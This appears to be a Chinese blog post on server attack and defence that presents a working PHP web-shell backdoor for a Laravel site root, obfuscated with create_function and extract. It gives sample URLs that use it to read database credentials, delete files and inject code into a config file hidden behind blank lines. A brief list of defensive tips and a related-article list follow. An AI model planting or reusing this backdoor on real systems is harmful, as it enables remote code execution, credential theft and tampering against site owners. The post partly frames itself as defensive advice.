黑客、后门
着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!
展示: 首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc”
以laravel框架为列子,在根目录创建后门文件
<?php
function config_local(){
@$conn=$_REQUEST;
return @($conn[config]);
}
@extract(array(conn=>create_function(null,config_local())));
@extract(array($cless=>$conn()));
读取数据库配置信息
https://www.test.com/hack.php?config=var_dump(include%20%20%20%27/../config/database.php%27%20);
删除文件
https://www.test.com/hack.php?config=var_dump(unlink(__DIR__.%27/../a.txt%27));
修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
防备: 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
在获取用户输入前一定要做过滤处理;
在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
或者增加防篡改功能;
或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
对整个站点进行扫描木马。
猜你喜欢
PHP定时任务
阅读 2050PHP框架Laravel定时任务的实现
Git使用
阅读 972Git基本配置/服务器搭建仓库
微擎常用记录
阅读 1097微擎常用记录
LaravelS基于Swoole实现高性能 HTTP 服务器
阅读 2169LaravelS基于Swoole 配置nginx等
在 Laravel 中集成 Swoole 实现 WebSocket 服务器
阅读 2909基于 LaravelS 扩展包把 Swoole 集成到 Laravel 项目来实现 WebSocket 服务器,以便与客户端进行 WebSocket 通信从而实现广播功能。
Laravel邮箱推送
阅读 2368Laravel发送邮件
Laravel队列的实现
阅读 1794Laravel 队列的简单使用例子
Layui富文本视频等多功能
阅读 1026Layui富文本多功能添加